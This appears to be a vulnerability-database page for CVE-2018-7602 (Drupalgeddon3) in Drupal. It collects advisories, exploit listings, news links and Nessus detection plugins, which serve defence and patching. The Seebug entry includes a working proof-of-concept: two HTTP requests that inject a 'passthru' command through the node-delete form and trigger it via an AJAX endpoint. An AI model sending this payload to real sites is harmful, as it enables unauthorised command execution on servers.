Vulnerabilities > CVE-2018-7602
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being compromised. This vulnerability is related to Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. Both SA-CORE-2018-002 and this vulnerability are being exploited in the wild.
Vulnerable Configurations
D2sec
name | Drupal 7 SA-CORE-2018-004 RCE |
url | http://www.d2sec.com/exploits/drupal_7_sa-core-2018-004_rce.html |
Exploit-Db
description Drupal < 7.58 - 'Drupalgeddon3' Authenticated Remote Code (Metasploit). CVE-2018-7602. Webapps exploit for PHP platform. Tags: Metasploit Framework (MSF) file exploits/php/webapps/44557.rb id EDB-ID:44557 last seen 2018-05-24 modified 2018-04-30 platform php port published 2018-04-30 reporter Exploit-DB source https://www.exploit-db.com/download/44557/ title Drupal < 7.58 - 'Drupalgeddon3' Authenticated Remote Code (Metasploit) type webapps description Drupal < 7.58 - 'drupalgeddon3' Authenticated Remote Code Execution (PoC). CVE-2018-7602. Webapps exploit for PHP platform file exploits/php/webapps/44542.txt id EDB-ID:44542 last seen 2018-05-24 modified 2018-04-25 platform php port published 2018-04-25 reporter Exploit-DB source https://www.exploit-db.com/download/44542/ title Drupal < 7.58 - 'drupalgeddon3' Authenticated Remote Code Execution (PoC) type webapps
Nessus
NASL family CGI abuses NASL id DRUPAL_8_5_3.NASL description According to its self-reported version, the instance of Drupal running on the remote web server is 7.x prior to 7.59, 8.4.x prior to 8.4.8, or 8.5.x prior to 8.5.3. It is, therefore, affected by a remote code execution vulnerability. Note that Nessus has not tested for these issues but has instead relied only on the application last seen 2020-06-01 modified 2020-06-02 plugin id 109344 published 2018-04-25 reporter This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/109344 title Drupal 7.x < 7.59 / 8.4.x < 8.4.8 / 8.5.x < 8.5.3 Remote Code Execution Vulnerability (SA-CORE-2018-004) code # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(109344); script_version("1.8"); script_cvs_date("Date: 2019/11/08"); script_cve_id("CVE-2018-7602"); script_name(english:"Drupal 7.x < 7.59 / 8.4.x < 8.4.8 / 8.5.x < 8.5.3 Remote Code Execution Vulnerability (SA-CORE-2018-004)"); script_summary(english:"Checks the version of Drupal."); script_set_attribute(attribute:"synopsis", value: "A PHP application running on the remote web server is affected by a remote code execution vulnerability."); script_set_attribute(attribute:"description", value: "According to its self-reported version, the instance of Drupal running on the remote web server is 7.x prior to 7.59, 8.4.x prior to 8.4.8, or 8.5.x prior to 8.5.3. It is, therefore, affected by a remote code execution vulnerability. Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number."); script_set_attribute(attribute:"see_also", value:"https://www.drupal.org/SA-CORE-2018-004"); script_set_attribute(attribute:"see_also", value:"https://www.drupal.org/project/drupal/releases/7.59"); script_set_attribute(attribute:"see_also", value:"https://www.drupal.org/project/drupal/releases/8.4.8"); script_set_attribute(attribute:"see_also", value:"https://www.drupal.org/project/drupal/releases/8.5.3"); script_set_attribute(attribute:"solution", value: "Upgrade to Drupal version 7.59 / 8.4.8 / 8.5.3 or later."); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P"); script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C"); script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"); script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C"); script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-7602"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"d2_elliot_name", value:"Drupal 7 SA-CORE-2018-004 RCE"); script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true"); script_set_attribute(attribute:"vuln_publication_date", value:"2018/04/25"); script_set_attribute(attribute:"patch_publication_date", value:"2018/04/25"); script_set_attribute(attribute:"plugin_publication_date", value:"2018/04/25"); script_set_attribute(attribute:"potential_vulnerability", value:"true"); script_set_attribute(attribute:"plugin_type", value:"remote"); script_set_attribute(attribute:"cpe", value:"cpe:/a:drupal:drupal"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_family(english:"CGI abuses"); script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("drupal_detect.nasl"); script_require_keys("installed_sw/Drupal", "Settings/ParanoidReport"); script_require_ports("Services/www", 80, 443); exit(0); } include("vcf.inc"); include("http.inc"); if (report_paranoia < 2) audit(AUDIT_PARANOID); port = get_http_port(default:80, php:TRUE); app_info = vcf::get_app_info(app:"Drupal", port:port, webapp:true); vcf::check_granularity(app_info:app_info, sig_segments:2); constraints = [ { "min_version" : "7.0", "max_version" : "7.58", "fixed_version" : "7.59" }, { "min_version" : "8.4.0", "max_version" : "8.4.7", "fixed_version" : "8.4.8" }, { "min_version" : "8.5.0", "max_version" : "8.5.2", "fixed_version" : "8.5.3" } ]; vcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);
NASL family Fedora Local Security Checks NASL id FEDORA_2018-B9AD458866.NASL description - https://www.drupal.org/project/drupal/releases/7.59 - https://www.drupal.org/SA-CORE-2018-004 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-05 modified 2018-05-11 plugin id 109710 published 2018-05-11 reporter This script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/109710 title Fedora 27 : drupal7 (2018-b9ad458866) (Drupalgeddon 2) code #%NASL_MIN_LEVEL 80502 # # (C) Tenable Network Security, Inc. # # The descriptive text and package checks in this plugin were # extracted from Fedora Security Advisory FEDORA-2018-b9ad458866. # include("compat.inc"); if (description) { script_id(109710); script_version("1.13"); script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/04"); script_cve_id("CVE-2018-7602"); script_xref(name:"FEDORA", value:"2018-b9ad458866"); script_name(english:"Fedora 27 : drupal7 (2018-b9ad458866) (Drupalgeddon 2)"); script_summary(english:"Checks rpm output for the updated package."); script_set_attribute( attribute:"synopsis", value:"The remote Fedora host is missing a security update." ); script_set_attribute( attribute:"description", value: "- https://www.drupal.org/project/drupal/releases/7.59 - https://www.drupal.org/SA-CORE-2018-004 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues." ); script_set_attribute( attribute:"see_also", value:"https://bodhi.fedoraproject.org/updates/FEDORA-2018-b9ad458866" ); script_set_attribute( attribute:"solution", value:"Update the affected drupal7 package." ); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P"); script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C"); script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"); script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"d2_elliot_name", value:"Drupal 7 SA-CORE-2018-004 RCE"); script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true"); script_set_attribute(attribute:"plugin_type", value:"local"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:fedoraproject:fedora:drupal7"); script_set_attribute(attribute:"cpe", value:"cpe:/o:fedoraproject:fedora:27"); script_set_attribute(attribute:"vuln_publication_date", value:"2018/07/19"); script_set_attribute(attribute:"patch_publication_date", value:"2018/05/10"); script_set_attribute(attribute:"plugin_publication_date", value:"2018/05/11"); script_set_attribute(attribute:"in_the_news", value:"true"); script_set_attribute(attribute:"generated_plugin", value:"current"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_copyright(english:"This script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof."); script_family(english:"Fedora Local Security Checks"); script_dependencies("ssh_get_info.nasl"); script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list"); exit(0); } include("audit.inc"); include("global_settings.inc"); include("rpm.inc"); if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED); release = get_kb_item("Host/RedHat/release"); if (isnull(release) || "Fedora" >!< release) audit(AUDIT_OS_NOT, "Fedora"); os_ver = pregmatch(pattern: "Fedora.*release ([0-9]+)", string:release); if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Fedora"); os_ver = os_ver[1]; if (! preg(pattern:"^27([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Fedora 27", "Fedora " + os_ver); if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING); cpu = get_kb_item("Host/cpu"); if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH); if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Fedora", cpu); flag = 0; if (rpm_check(release:"FC27", reference:"drupal7-7.59-1.fc27")) flag++; if (flag) { security_report_v4( port : 0, severity : SECURITY_HOLE, extra : rpm_report_get() ); exit(0); } else { tested = pkg_tests_get(); if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested); else audit(AUDIT_PACKAGE_NOT_INSTALLED, "drupal7"); }
NASL family Fedora Local Security Checks NASL id FEDORA_2018-43C64DEADA.NASL description - https://www.drupal.org/project/drupal/releases/7.59 - https://www.drupal.org/SA-CORE-2018-004 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-05 modified 2019-01-03 plugin id 120383 published 2019-01-03 reporter This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/120383 title Fedora 28 : drupal7 (2018-43c64deada) (Drupalgeddon 2) NASL family Fedora Local Security Checks NASL id FEDORA_2018-8FD924A53D.NASL description - https://www.drupal.org/project/drupal/releases/8.4.8 - https://www.drupal.org/SA-CORE-2018-004 - https://www.drupal.org/project/drupal/releases/8.4.7 - https://www.drupal.org/sa-core-2018-003 RPM update: `drupal8-rpmbuild` package dependencies fixed Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-05 modified 2019-01-03 plugin id 120613 published 2019-01-03 reporter This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/120613 title Fedora 28 : drupal8 (2018-8fd924a53d) (Drupalgeddon 2) NASL family Debian Local Security Checks NASL id DEBIAN_DSA-4180.NASL description A remote code execution vulnerability has been found in Drupal, a fully-featured content management framework. For additional information, please refer to the upstream advisory at https://www.drupal.org/sa-core-2018-004 last seen 2020-06-01 modified 2020-06-02 plugin id 109349 published 2018-04-26 reporter This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/109349 title Debian DSA-4180-1 : drupal7 - security update (Drupalgeddon 2) NASL family Debian Local Security Checks NASL id DEBIAN_DLA-1365.NASL description A remote code execution vulnerability has been found within multiple subsystems of Drupal. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being compromised. For Debian 7 last seen 2020-03-17 modified 2018-04-27 plugin id 109381 published 2018-04-27 reporter This script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/109381 title Debian DLA-1365-1 : drupal7 security update (Drupalgeddon 2) NASL family Fedora Local Security Checks NASL id FEDORA_2018-1BA93B3144.NASL description - https://www.drupal.org/project/drupal/releases/8.4.8 - https://www.drupal.org/SA-CORE-2018-004 - https://www.drupal.org/project/drupal/releases/8.4.7 - https://www.drupal.org/sa-core-2018-003 RPM update: `drupal8-rpmbuild` package dependencies fixed Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-05 modified 2018-05-11 plugin id 109705 published 2018-05-11 reporter This script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/109705 title Fedora 27 : drupal8 (2018-1ba93b3144) (Drupalgeddon 2) NASL family Fedora Local Security Checks NASL id FEDORA_2018-2359C2AE0E.NASL description - https://www.drupal.org/project/drupal/releases/7.59 - https://www.drupal.org/SA-CORE-2018-004 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-05 modified 2018-05-11 plugin id 109706 published 2018-05-11 reporter This script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/109706 title Fedora 26 : drupal7 (2018-2359c2ae0e) (Drupalgeddon 2)
Packetstorm
data source https://packetstormsecurity.com/files/download/147380/drupalgeddon3-exec.txt id PACKETSTORM:147380 last seen 2018-04-27 published 2018-04-26 reporter Blaklis source https://packetstormsecurity.com/files/147380/Drupal-drupgeddon3-Remote-Code-Execution.html title Drupal drupgeddon3 Remote Code Execution data source https://packetstormsecurity.com/files/download/147407/drupalgeddon3-exec.rb.txt id PACKETSTORM:147407 last seen 2018-05-07 published 2018-04-30 reporter SixP4ck3r source https://packetstormsecurity.com/files/147407/Drupalgeddon3-Remote-Code-Execution.html title Drupalgeddon3 Remote Code Execution
Seebug
bulletinFamily | exploit |
description | A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being compromised. This vulnerability is related to Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. Both SA-CORE-2018-002 and this vulnerability are being exploited in the wild. Updated — this vulnerability is being exploited in the wild. #### Poc This is a sample of exploit for Drupal 7 new vulnerability SA-CORE-2018-004 / CVE-2018-7602. You must be authenticated and with the power of deleting a node. Some other forms may be vulnerable : at least, all of forms that is in 2-step (form then confirm). ``` POST /?q=node/99/delete&destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami HTTP/1.1 [...] form_id=node_delete_confirm&_triggering_element_name=form_id&form_token=[CSRF-TOKEN] ``` Retrieve the form_build_id from the response, and then triggering the exploit with : ``` POST /drupal/?q=file/ajax/actions/cancel/%23options/path/[FORM_BUILD_ID] HTTP/1.1 [...] form_build_id=[FORM_BUILD_ID] ```` This will display the result of the whoami command. |
id | SSV:97246 |
last seen | 2018-06-26 |
modified | 2018-04-26 |
published | 2018-04-26 |
reporter | My Seebug |
title | Drupal core Remote Code Execution(CVE-2018-7602) |
The Hacker News
id THN:8E5D44939B2B2FF0156F7FF2D4802857 last seen 2018-04-26 modified 2018-04-26 published 2018-04-25 reporter Mohit Kumar source https://thehackernews.com/2018/04/drupal-vulnerability-exploit.html title Third Critical Drupal Flaw Discovered—Patch Your Sites Immediately id THN:F8EDB5227B5DA0E4B49064C2972A193D last seen 2018-04-26 modified 2018-04-26 published 2018-04-26 reporter Swati Khandelwal source https://thehackernews.com/2018/04/drupalgeddon3-exploit-code.html title Release of PoC Exploit for New Drupal Flaw Once Again Puts Sites Under Attack
Related news
References
- https://www.drupal.org/sa-core-2018-004
- https://www.exploit-db.com/exploits/44557/
- https://www.exploit-db.com/exploits/44542/
- https://www.debian.org/security/2018/dsa-4180
- https://lists.debian.org/debian-lts-announce/2018/04/msg00030.html
- http://www.securitytracker.com/id/1040754
- http://www.securityfocus.com/bid/103985